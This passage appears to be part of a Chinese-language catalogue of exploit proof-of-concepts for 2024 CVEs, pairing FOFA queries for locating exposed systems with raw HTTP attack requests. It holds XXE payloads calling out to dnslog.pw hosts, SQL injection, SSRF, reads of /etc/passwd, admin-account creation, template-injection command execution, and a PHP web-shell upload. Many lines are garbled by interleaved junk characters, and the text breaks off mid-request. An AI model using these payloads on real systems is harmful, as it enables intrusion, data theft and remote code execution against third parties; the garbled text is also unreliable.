<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

' @* ^$ j: A7 h103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
$ n% m$ R6 L" l! n6 ^+ n0 }) K4 HContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
* m- v9 ], C. B5 c

' y( X. m4 |: ]6 f7 v5 v其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
3 k/ F  Q: H3 l9 G7 _& W6 K<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

0 p. z' w. X5 O$ y
3 {1 f) z, D$ H. L$ b104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
, o2 Z1 H3 [+ Q8 MCVE-2024-0569
0 U, I! ]# W3 y0 {% ]/ Y& YFOFA：title="TOTOLINK"
, Q) s4 _& V: _8 ~POST /cgi-bin/cstecgi.cgi HTTP/1.1
/ h, W6 V% T7 m7 dHost:192.168.0.1
$ I% N/ }0 y& lContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
4 ?/ o. z6 K% N2 L' |: A0 |' iUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
0 Q  B$ Y0 n5 w% `" l( O& pContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
$ n$ S3 z& A, z& ?# j7 y& B$ SReferer: http://192.168.0.1/advance/index.html?time=1671152380564
0 p& b$ I( B& D( @5 bAccept-Encoding:gzip,deflate
0 z! t0 `7 Z. }: ?; @3 a7 qAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
# ~$ Y* b% s( `. O4 ]; H' e7 HConnection:close

{
' P# z1 W/ E/ X"topicurl":"getSysStatusCfg",
8 @4 |+ M% ?, F8 J"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
( i5 Y5 k0 x- x3 J* AFOFA：body="https://bladex.vip"
$ L: B. R% `7 N# F) Zhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
5 T3 {9 l4 d" ^
7 A9 i$ K: m; I6 [5 l' [106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
% a% n, S% m! H  ?# {GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
2 ?- w- v' x3 Q, s, H' vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& |" U4 C0 O5 LBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

! ]% _  l6 U1 w& h
107. SpringBlade tenant/list SQL 注入
: J5 L0 }4 U# |1 i1 tFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
3 B4 w% ~( d- i3 ?' mHost: your-ip
( u2 ]5 ~2 m" [1 A: pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- G8 `  j. A4 ~) BBlade-Auth:替换为自己的
Connection: close


( P  A! W8 ~, H5 Y6 e2 c  D+ O108. D-Tale 3.9.0 SSRF
& ^% s* Q* E' ~2 ]( r' A" fCVE-2024-21642
FOFA："dtale/static/images/favicon.png"
) M+ v# I* M6 F' f' hGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
' ?* }+ d! k' NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ {( h  T  |* m5 PConnection: close
4 @# _- c% C& l: j

: U/ d8 B; u. Q( W- u2 r3 X109. Jenkins CLI 任意文件读取
CVE-2024-23897
. ~$ i$ `* d; [$ OFOFA：header="X-Jenkins"
! C$ r+ P4 t0 P) ?  hPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
* r# y5 D. V$ i- j5 X/ qSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; E# T" o! ]' t% U- x7 U& ISide: upload
Connection: keep-alive
! N6 J. {- B. U6 r1 T3 u) F8 h5 |Content-Length: 163

( B, a3 ?3 Y5 o/ ~& Q, D, fb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
3 k7 }0 @( W1 X8 s: g
! g. D5 R. Q& p; R
POST /cli?remoting=false HTTP/1.1
Host:
" f& x( k  g) E; R% VSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
* s0 A( ?+ h2 b0 E8 c* sdownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

1 e! c! ~& g+ V6 D% M) e6 p
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


5 K3 {7 V; q5 o8 E- }& u* s110. Goanywhere MFT 未授权创建管理员
7 H: u  t+ B; z6 U8 o9 {0 cCVE-2024-0204
& ?( e) E! m, v9 l; [FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
9 A; L$ H3 G- w5 x) gGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
- I1 k: |! u: C. M* n( }0 ^7 IConnection: close
  |. m4 z/ x7 k! yAccept: */*
Accept-Language: en
# x, j& f! k1 x; u! }- s% }7 [Accept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
8 o, s8 ^, B* B$ X, _CVE-2024-1061
; C. W' P) y  V4 @/ xFOFA："wordpress" && body="html5-video-player"
4 g4 O+ j: d. Q3 o6 e- w* n0 YGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
" R  Y  T) \" z/ t# m9 P& kHost: 192.168.40.130:112
% y0 Z% T3 q+ k) m) p1 ?8 `. _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
4 Z& x0 r: F! c' A3 HConnection: close
; N* T4 b0 i0 K$ j% f/ l0 t# iAccept: */*
- \1 c# V0 ]" D7 N. o* v) O5 S+ oAccept-Language: en
Accept-Encoding: gzip


* Y3 i  o* }: f9 U% P112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
2 w4 ]' x5 Z& @6 `% E% [; ^FOFA：body="/wp-content/plugins/notificationx"
! E% h8 s$ L0 O- ^& ~& bPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
3 _+ u% Z- \; \' g8 O( w: ?Content-Type: application/json

8 Z+ J. X( m+ E. g! [{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
- k! i1 u  Y& N  K

3 d# J4 O* j9 J1 H  I& E113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
+ e5 @* k3 p6 p' @GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
& y- C8 I& k, f8 dHost: x.x.x.x
  r- f% @* o9 e0 ]) q, O& nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
  Z, A# |- V& }7 HConnection: close
Accept: */*
" |) d1 W$ r1 V/ ?  j1 d4 d3 oAccept-Language: en
; A) x) O, e* @Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
: m: ?1 z# M: y# ]- G, a( GGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
4 I- g/ s9 n$ {& N5 p3 M! `* fHost: your-ip
1 H  M4 I0 r3 z+ AUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 X2 D) r! o/ D% L7 BAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
: J/ O1 E* \6 Z6 S) _9 l/ _( |$ p
# Q4 o" p& F$ |" K  {
115. WordPress Bricks Builder <= 1.9.6 RCE
4 ?# y8 E7 R, M' r) G8 V8 UCVE-2024-25600
( f7 ?9 S' ~9 S4 p6 _FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
' ^- G0 \* z9 uGET / HTTP/1.1
7 @4 i( j# e4 C7 o, ~# @1 {Host: x.x.x.x
: |- E+ [% Y- n) V( IUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
- K# n5 B  ~9 H' g: d9 d2 `, OConnection: close
/ m3 c8 [8 m% q" EAccept-Encoding: gzip


* k  b1 T6 g! E第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
8 I% r4 j' i2 g4 B1 T  ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' r9 O7 }$ M' i# K% u) XConnection: close
! r8 u; H1 w2 v  _: ^/ _: iContent-Length: 356
Content-Type: application/json
0 }% u2 a1 P9 N" d) ]Accept-Encoding: gzip

% k3 E# ?7 N7 ~6 R1 ]) n" K* w/ T{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
+ `! H8 _. N& C+ ]    "settings": {
3 }, g6 B# V: }      "hasLoop": "true",
      "query": {
4 G4 A3 F7 H; M5 W/ e        "useQueryEditor": true,
1 c# S! M# ]& M2 H        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
) M( h! `9 w( c        "objectType": "post"
0 ~. u( ]* x! l( P8 Z      }
    }
  ^4 p4 M% B4 z* [& M8 V* ?" U+ b; _" r  }
0 @2 @+ d1 q7 `& {, o- i}

/ e4 d( P/ B# e
/ X3 O; d. ~" I3 c/ C6 i9 r116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
* X! d4 K' p  r' m: q8 I( OUser-Agent: Mozilla/5.0
' e4 M1 a% [" y0 h& V3 @
----------767099171
Content-Disposition: form-data; name="action"
5 W3 J5 E6 Q' ^4 Yconfiguration_saveconfiguration
7 l; s# R$ L" `1 D----------767099171
Content-Disposition: form-data; name="form_request"
* r* m3 {" I8 c) s9 Ejssupportticket
8 J7 t% U5 r4 F  s----------767099171
! L8 d3 p) ^" n3 lContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
) m) m: T! J8 J----------767099171--

0 I- b. e- M/ _2 @' ]
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
* p! [; J8 W: h# I( fGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
1 C' `$ i5 L6 K! rHost: your-ip
+ O2 P$ T( s; F; AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
. ]0 n- _3 W/ X* ?/ {; B$ k

7 J5 x3 @6 I( ?* Y" G, |. t% ]118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
% v" y7 f4 x) C( S. TFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
: t% {: {& _( j7 f  S6 a  L% E4 d1 YHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
9 ]0 Q9 H  x5 i) q- k+ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 W8 y/ x( }: W/ _Accept-Encoding: gzip, deflate
. H& I$ ?7 b* f/ M' _7 Y% A8 NContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
; S: Q7 J( f* F3 JContent-Length: 405
/ Q7 E( o0 C2 @; j- yOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
, o0 p+ r6 Z/ mSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 o7 }) ]2 d$ D5 q/ l' `& [Sec-Fetch-Site: same-origin
+ a( s! q# Y7 xSec-Fetch-User: ?1
Te: trailers
Connection: close
: h, Q; P# {; M+ n
-----------------------------13979701222747646634037182887
% a: m5 H. w5 g; g2 N# q4 C1 cContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
, i; `2 r& U  D& T+ m( k
3 I; g1 q& I* c5 k<?php
system($_POST["passwd"]);
?>
% c' g* {- }% D9 w9 H: l8 D- m-----------------------------13979701222747646634037182887
9 s: `$ g% G2 u& i1 n, kContent-Disposition: form-data; name="txt_path"
. v; P' ^4 X4 x! g4 {3 Q9 C
. d& d4 @$ `3 x9 o: K/home/src.php
5 k: R+ w; u2 W' g+ `-----------------------------13979701222747646634037182887--

3 c9 h8 x9 j% S0 C3 h
访问/home/src.php

0 S* C7 Q% M# ?& ]5 a119. 北京百绰智能S20后台sysmanageajax.php sql注入
6 V1 J3 c+ p7 F/ V8 fCVE-2024-1254
7 M1 ~4 S: g4 D# d) q& W3 dFOFA：title="Smart管理平台"
9 A3 ]* Y! F9 H先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
1 J- R9 I# W. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
1 Q2 q$ I; I6 V: X$ VAccept: */*
9 E* r3 v. k; E1 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Z3 D, O) u4 t* bAccept-Encoding: gzip, deflate
9 Y4 ?; r0 \6 w+ JContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
  l) p1 Z2 y, D, |5 JSec-Fetch-Dest: empty
  j9 H3 N  l+ i2 J# ASec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
! _2 T. s  S) m' e2 V, B: qX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
0 e) @& Q8 Y* x( Y% xX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
. k& s% P6 `5 PConnection: close
/ G3 i. H& S  X, r+ H
, \5 c: `, C: gsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

% Q. T' @( W5 c
# D% C; R  B+ f! \; D# P& r120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
4 k; P, a- C7 mPOST /useratte/web.php? HTTP/1.1
Host: ip:port
/ \8 W' ^6 k. kCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
  S5 y8 w% u* j, k. }0 E2 UReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
4 L+ A2 B# ^; D! f: o  ]% zSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 ^8 g8 M) o0 G7 e% sTe: trailers
4 c4 U! \1 ~4 B; ?, i5 M" {% ?Connection: close
, P; @7 g8 q+ w# t0 o0 C
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
8 a  D# s) N6 X9 r
* u' I- K4 ~( p2 d( P<?php phpinfo()?>
-----------------------------42328904123665875270630079328
/ f, C' L" q2 }: R( p: ZContent-Disposition: form-data; name="id_type"
5 L: a' r& K$ M
1
. I* D* N3 K0 i6 m8 u  N; n) u-----------------------------42328904123665875270630079328
6 ~( X7 q5 X# m2 L# X2 l/ @Content-Disposition: form-data; name="1_ck"
  x, q) t( v. W/ {$ t
1_radhttp
" J, N! T" _2 z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

) Q7 R( W: O: @2 X% V7 f) Jimport
-----------------------------42328904123665875270630079328
. L; y8 c( V) u) u- f7 ~( _: c

/ N  s- Y' P/ t$ \文件路径/upload/2.php
( R. ^; a; T* f6 z
. {' L+ _: S  N) O121. 北京百绰智能S42管理平台userattestation.php任意文件上传
+ O& m! h3 _/ J9 e, N2 ]6 D; v4 L' MCVE-2024-1918
: i* V, s9 l) G/ cFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
0 m# L) V( [$ R" ^Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
( u% k0 ~# G" {6 p! H( k: z9 E. p3 gUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) D& Y# ~/ z4 Y" P. k7 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
5 h7 W/ {/ q) O  t6 g% k/ zContent-Length: 592
Origin: https://192.168.40.130:8443
, r6 `5 n: b" S$ @+ }! J$ zUpgrade-Insecure-Requests: 1
- ]; M/ O& t0 M' X5 E5 k4 ISec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
: T- ?7 C. W3 M# ?5 K3 h' GSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
$ E8 Q& O* Z1 ?( E$ J' m/ v9 V3 p
-----------------------------42328904123665875270630079328
4 s% w% `1 }$ n5 g! tContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

. o, o' [! M" k: a) I# ^8 o9 \<?php phpinfo();?>
-----------------------------42328904123665875270630079328
( r1 _; I( ?- r/ @/ y; \" `1 _Content-Disposition: form-data; name="id_type"
- ]; a, i$ K) h- |0 _
' L2 D+ z  I- o1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

$ B. L- o3 I% G. Q- M1_radhttp
7 o6 s, g, }! S8 D) h& A-----------------------------42328904123665875270630079328
4 m$ D6 T1 I, P0 d: ^: ^Content-Disposition: form-data; name="hidwel"

. S3 ?5 q8 k1 j3 M- n9 S7 Wset
-----------------------------42328904123665875270630079328
# T7 b/ I' W3 W/ C
' A; n/ V/ Q" f3 k) m; J) d# @+ @# I
4 ~$ D1 ?) }; x% p$ \# ~4 ?boot/web/upload/weblogo/1.php
+ E' L' ~4 T0 m
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
; z9 `, `9 W' S3 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% h6 f4 C( `- t( [* c2 E0 UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
% g1 i3 _" o( o) TSec-Fetch-Mode: navigate
. a3 u5 ^1 C' R4 h& s7 U3 m/ o' KSec-Fetch-Site: none
Sec-Fetch-User: ?1
5 q! f0 P/ V6 N2 P1 G5 YTe: trailers
1 f) V1 q3 |: z2 l6 u& E$ ?Connection: close
! K& H% H# H$ n
- v# o, e; g; s3 b/ g) b* ^# `" t# B
123. Atlassian Confluence 模板注入代码执行
! B1 d# C; k% ]: q. n0 OFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
, _0 F2 ?  V% P1 H6 xHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
" z' @/ X, n6 P, [0 `$ v& U! eAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

5 U8 j- L. ~! }' B* R1 Elabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
  }+ [8 g# P% b4 @

$ ~) F. V9 j% T" [124. 湖南建研工程质量检测系统任意文件上传
$ i$ r$ N. j1 bFOFA：body="/Content/Theme/Standard/webSite/login.css"
, o6 Z  t. o! P- W+ o8 V6 a) C3 _' fPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
! X) R6 Y0 D% f; `User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
% s8 A0 w9 D0 K* x8 g$ g! \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
% l9 @/ _6 [0 F7 X7 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
  ~. [" k( }, f' W
1 f' @4 O7 W) I9 e3 `7 N0 efilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
' K/ J0 d8 I2 P0 n& M+ O

http://192.168.40.130:8282/Scripts/abcgcg.aspx
) L3 s0 v/ K8 k
, v, C% i0 s, F4 E" E125. ConnectWise ScreenConnect身份验证绕过
% j6 {. Z1 O5 B$ Y- [/ X/ Y, YCVE-2024-1709
2 K" K4 R  o. K- Z' Q7 I* RFOFA：icon_hash="-82958153"
* Q$ z. r8 F# P( k: yhttps://github.com/watchtowrlabs ... bypass-add-user-poc

( k- G$ I: M3 W  k% x- K# U
使用方法
4 w) N: ]( x4 \* p2 p* x* epython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
, I- d5 Y8 g" k
% g" d" E/ [' Z, B5 |7 H
2 o) a9 _: I6 [' A+ L9 Y- O创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
6 M$ Y- l/ R- _5 S8 x  DGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
# Y& z1 \! q) Y) t6 l7 `2 q' RAccept-Encoding: gzip
: d  E# ?' Z$ o( |- _) p! q
" L4 `7 V9 M8 U7 E* b3 S! R" d  w
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
( w4 L! `  w$ n, |POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
: Z* x3 K3 A6 {* z' h- Z* ZHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
7 s2 }1 W0 d2 z9 ?0 Q4 G2 j* EContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, {* x  V5 Q0 m( {- d: X" c) lConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
6 p; |- m7 v6 \6 I/ p* ?, B  R6 zPurpose: prefetch
Sec-Purpose: prefetch;prerender
. u& i# W$ y2 E2 N
------WebKitFormBoundaryJGgV5l5ta05yAIe0
